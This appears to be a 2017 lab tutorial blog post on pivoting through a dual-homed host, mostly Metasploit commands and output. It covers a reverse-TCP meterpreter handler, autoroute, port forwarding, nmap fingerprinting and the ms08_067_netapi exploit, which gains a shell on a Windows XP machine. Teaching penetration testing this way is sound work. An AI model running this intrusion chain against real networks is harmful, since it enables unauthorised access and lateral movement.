Saturday, June 17, 2017

Getting Around Multihome Hosts: Part I

So you successfully compromised your first host and it happened to be a dualhomed host, the next logical objective would be to move deeper into the network, this means reaching another host hiding behind a separate network, here is a depiction of my situation:

<attacker host> -------------<host A> -------------------------<host B>
ip: 192.168.0.182         eth0: 192.168.0.191                    192.168.52.134
                                     eth1: 192.168.52.135

Basically, there are several methods of pivoting around the multihomed 'host A':

1. Using meterpreter autoroute & portfwd (win/lin)
2. Using sshd port forwarding & dynamic SOCKS (Win/lin)
3. Using plink port forwarding & dynamic SOCKS (win)

While there are many write ups on the web, I will summarize my experiences for each situation and its advantages and disadvantages. For the first option, you will need a working meterpreter session on host A.

For simplicity, we will assume that we already have a meterpreter session on host A, we setup a multi handler listener to catch the shell:

Performed on Attacker Host:
msf > use exploit/multi/handler 
msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp
payload => linux/x86/meterpreter/reverse_tcp
msf exploit(handler) > show options 

Module options (exploit/multi/handler):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Payload options (linux/x86/meterpreter/reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  192.168.0.182    yes       The listen address
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   0   Wildcard Target


msf exploit(handler) > run

[*] Started reverse TCP handler on 192.168.0.182:4444 
[*] Starting the payload handler...
[*] Sending stage (797784 bytes) to 192.168.0.191
[*] Meterpreter session 1 opened (192.168.0.182:4444 -> 192.168.0.191:36774) at 2017-06-17 19:12:39 +0800 
meterpreter > 

Example autoroute:
meterpreter > ifconfig

Interface  1
============
Name         : lo
Hardware MAC : 00:00:00:00:00:00
MTU          : 65536
Flags        : UP,LOOPBACK
IPv4 Address : 127.0.0.1
IPv4 Netmask : 255.0.0.0
IPv6 Address : ::1
IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff::


Interface  2
============
Name         : eth0
Hardware MAC : 00:0c:29:2f:f8:cb
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.0.191
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe2f:f8cb
IPv6 Netmask : ffff:ffff:ffff:ffff::


Interface  3
============
Name         : eth1
Hardware MAC : 00:0c:29:2f:f8:d5
MTU          : 1500
Flags        : UP,BROADCAST,MULTICAST
IPv4 Address : 192.168.52.135
IPv4 Netmask : 255.255.255.0
IPv6 Address : fe80::20c:29ff:fe2f:f8d5
IPv6 Netmask : ffff:ffff:ffff:ffff::

meterpreter > 
Background session 1? [y/N]
msf exploit(handler) > use post/windows/manage/autoroute
msf post(autoroute) > show options 

Module options (post/windows/manage/autoroute):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CMD      autoadd          yes       Specify the autoroute command (Accepted: add, autoadd, print, delete, default)
   NETMASK  255.255.255.0    no        Netmask (IPv4 as "255.255.255.0" or CIDR as "/24"
   SESSION                   yes       The session to run this module on.
   SUBNET                    no        Subnet (IPv4, for example, 10.10.10.0)

msf post(autoroute) > set session 1
session => 1
msf post(autoroute) > run

[*] Running module against hostA.localdomain
[*] Searching for subnets to autoroute.
[+] Route added to subnet 192.168.0.0/255.255.255.0 from host's routing table.
[+] Route added to subnet 192.168.52.0/255.255.255.0 from host's routing table.
[*] Post module execution completed
msf post(autoroute) > use auxiliary/scanner/portscan/tcp
msf auxiliary(tcp) > set rhosts 192.168.52.134
rhosts => 192.168.52.134
msf auxiliary(tcp) > show options 

Module options (auxiliary/scanner/portscan/tcp):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   CONCURRENCY  10               yes       The number of concurrent ports to check per host
   DELAY        0                yes       The delay between connections, per thread, in milliseconds
   JITTER       0                yes       The delay jitter factor (maximum value by which to +/- DELAY) in milliseconds.
   PORTS        1-10000          yes       Ports to scan (e.g. 22-25,80,110-900)
   RHOSTS       192.168.52.134   yes       The target address range or CIDR identifier
   THREADS      1                yes       The number of concurrent threads
   TIMEOUT      1000             yes       The socket connect timeout in milliseconds

msf auxiliary(tcp) > run

[*] 192.168.52.134:       - 192.168.52.134:139 - TCP OPEN
[*] 192.168.52.134:       - 192.168.52.134:135 - TCP OPEN
[*] 192.168.52.134:       - 192.168.52.134:445 - TCP OPEN
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
msf auxiliary(tcp) > sessions -i 1
[*] Starting interaction with 1...
meterpreter >

With autoroute, you are limited with a TCP portscan and it has to be done from within metasploit. Upon identifying the open ports using autoroute, switch to portfwd. With portfwd you can do a nmap -A (Application identification) to fingerprint the OS type for further attack.

Example portfwd:
These steps are very important as it maps the local & remote ports to host B, 
the -r statement routes traffic to Host B:  
 
meterpreter > portfwd add -l 445 -p 445 -r 192.168.52.134
[*] Local TCP relay created: :445 <-> 192.168.52.134:445
meterpreter > portfwd add -l 4444 -p 4444 -r 192.168.52.134
[*] Local TCP relay created: :4444 <-> 192.168.52.134:4444
meterpreter > portfwd list

Active Port Forwards
====================

   Index  Local         Remote               Direction
   -----  -----         ------               ---------
   1      0.0.0.0:445   192.168.52.134:445   Forward
   2      0.0.0.0:4444  192.168.52.134:4444  Forward

2 total active port forwards.

meterpreter > 
Background session 1? [y/N]  y
 
We put the meterpreter session 1  on host A in the background for the meanwhile. In another 
terminal, take a look at netstat output:
 
# netstat -an | more
Active Internet connections (servers and established)
Proto Recv-Q Send-Q Local Address           Foreign Address         State      
tcp        0      0 127.0.0.1:5432          0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:4444            0.0.0.0:*               LISTEN     
tcp        0      0 0.0.0.0:445             0.0.0.0:*               LISTEN     
 
Notice the port 4444 and 445 are listening on localhost? This means both these services are available
on our Host A. Therefore we need to set our remote targets to 127.0.0.1(localhost) because 
it will be routed to host B.
 
But before we can choose an exploit for host B, lets identify it using nmap, since we know
that host A has 445 open, lets use it:
 
# nmap -p 445 -A 127.0.0.1

Starting Nmap 7.40 ( https://nmap.org ) at 2017-06-17 19:42 SGT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00011s latency).
PORT    STATE SERVICE      VERSION
445/tcp open  microsoft-ds Windows XP microsoft-ds
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.8 - 4.6
Network Distance: 0 hops
Service Info: OS: Windows XP; CPE: cpe:/o:microsoft:windows_xp

Host script results:
|_clock-skew: mean: 15h29m28s, deviation: 0s, median: 15h29m28s
| smb-os-discovery: 
|   OS: Windows XP (Windows 2000 LAN Manager)
|   OS CPE: cpe:/o:microsoft:windows_xp::-
|   Computer name: tt-af6d434411ff
|   NetBIOS computer name: TT-AF6D434411FF
|   Workgroup: WORKGROUP
|_  System time: 2017-06-17T20:12:26-07:00
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
|_smbv2-enabled: Server doesn't support SMBv2 protocol

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.83 seconds 
 
Great! So we know it is a Windows XP box! Let's use the ms08_067_netapi exploit, remember that
our rhost for both the exploit and payload is now 127.0.0.1: 
 
msf exploit(handler) > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > set rhost 127.0.0.1
rhost => 127.0.0.1
msf exploit(ms08_067_netapi) > show options 

Module options (exploit/windows/smb/ms08_067_netapi):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   RHOST    127.0.0.1        yes       The target address
   RPORT    445              yes       The SMB service port (TCP)
   SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)


Payload options (windows/meterpreter/bind_tcp):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
   LPORT     4444             yes       The listen port
   RHOST     127.0.0.1        no        The target address


Exploit target:

   Id  Name
   --  ----
   0   Automatic Targeting


msf exploit(ms08_067_netapi) > run

[*] Started bind handler
[*] Sending stage (957487 bytes) to 127.0.0.1
[*] 127.0.0.1:445 - Automatically detecting the target...
[*] 127.0.0.1:445 - Fingerprint: Windows XP - Service Pack 3 - lang:Unknown
[*] 127.0.0.1:445 - We could not detect the language pack, defaulting to English
[*] 127.0.0.1:445 - Selected Target: Windows XP SP3 English (AlwaysOn NX)
[*] 127.0.0.1:445 - Attempting to trigger the vulnerability...
[*] Meterpreter session 2 opened (127.0.0.1:40699 -> 127.0.0.1:4444) at 2017-06-17 19:18:18 +0800

meterpreter > shell
Process 484 created.
Channel 1 created.
Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

C:\WINDOWS\system32>

There you go! You now have a meterpreter session on host B. It is important to note the different usage of autoroute and portfwd with meterpreter, each designed for different scenarios.




If you don't have the luxury of using meterpreter, you may opt for the 2nd or 3rd option. I'll cover that topic in my next posting.

No comments:

Post a Comment